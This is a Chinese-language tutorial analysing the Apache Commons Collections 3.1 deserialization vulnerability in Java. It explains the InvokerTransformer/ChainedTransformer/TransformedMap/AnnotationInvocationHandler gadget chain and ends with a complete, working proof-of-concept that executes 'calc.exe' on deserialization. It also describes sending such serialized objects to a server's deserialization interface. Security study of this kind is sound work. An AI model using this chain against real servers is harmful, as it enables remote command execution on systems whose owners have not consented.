环境搭建
JDK版本为为1.6,
引入commons-collections-3.1.jar包,具体引入方法为:
File -> Project Settings -> Modules -> Dependencies
点击加号选择导入JARs包,再选择包的地址,点击apply成功引入。
Poc():
分析:
前面提到过要实现序列化与反序列化目标对象要实现Serializable接口。
Apache Commons Collections中有一个特殊的接口,
其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
InvokerTransformer部分源码,可以看到其实现了Transformer和Serializable接口。
InvokerTranformer类中的transform方法,该方法使用反射进行函数调用
input参数是要反射的对象,iMethodName、iParamTypes分别是调用的方法名称和参数类型,iArgs是要调用的方法的参数。这三个参数都是可控的。
ConstantTransformer类的transform()方法是返回iConstant属性,并且该属性也是可控的。
ChainedTransformer类很关键,这是它的构造函数:
从其构造函数可以看出它是传入一个Transform数组,在看一下它的transform()方法。
这里使用循环来调用Transformer数组的transform()方法,
并且使用object作为后一个调用transform()方法的参数,这里我们结合前面的poc代码看:
这里代码有些绕,要结合前面对各个类的分析,
大概意思是创建一个transformers数组:
第一个参数是ConstantTransformer对象,
后面参数都是InvokerTransformer对象
(备注:InvokerTransformer类和ConstantTransformer类前面都有提到)
最后创建ChainedTransformer对象并将transformers数组传入。
Debug截图:
这个checkSetValue()会触发transform方法。然后我们思路清晰起来了,
首先,
构造一个Map和一个代码执行的ChainedTransforme
生成一个TransformedMap。
Poc中的代码如下:
Outmap就是已经构造好的TransformedMap,
下一步需要能让服务器反序列化对象时,触发outmap的checkSetValue()方法。
这时就要用到AnnotationInvocationHandler类,
这个类中有一个变量memberValues是Map类型,如下图所示:
AnnotationInvocationHandler的readObject()方法中,对memberValues的每一项都调用了setValue()函数,
代码如下:
这里的setValue()函数就会触发checkValue()函数,代码如图:
所以我们要使用outmap来构造AnnotationInvocationHandler,进行序列化,
后面触发readerObject()反序列化时就能实现命令执行:
下面分别是序列化与反序列化的简单本地模拟代码:
一般情况是服务器有一个反序列化接口,我们将自己构造的恶意代码序列化后通过接口远程调用,或者传输到服务器上,服务器进行反序列化调用readObject()函数;
然后成功命令执行。
服务器端反序列化执行大概步骤:
漏洞影响:
1.Spring Framework <= 3.0.5,<= 2.0.6;
2.Groovy < 2.4.4;
3.Apache Commons Collections <= 3.2.1,<= 4.0.0;
附POC代码:
package com.company; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; class test1 { public static Object Reverse_Payload() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); //这里需要设置Accessible为true,否则序列化失败 ctor.setAccessible(true); //通过newInstance()方法实例化对象 Object instance = ctor.newInstance(Retention.class, outmap); return instance; } public static void main(String[] args) throws Exception { GeneratePayload(Reverse_Payload(),"obj"); payloadTest("obj"); } public static void GeneratePayload(Object instance, String file) throws Exception { //将构造好的payload序列化后写入文件中 File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //读取写入的payload,并进行反序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } }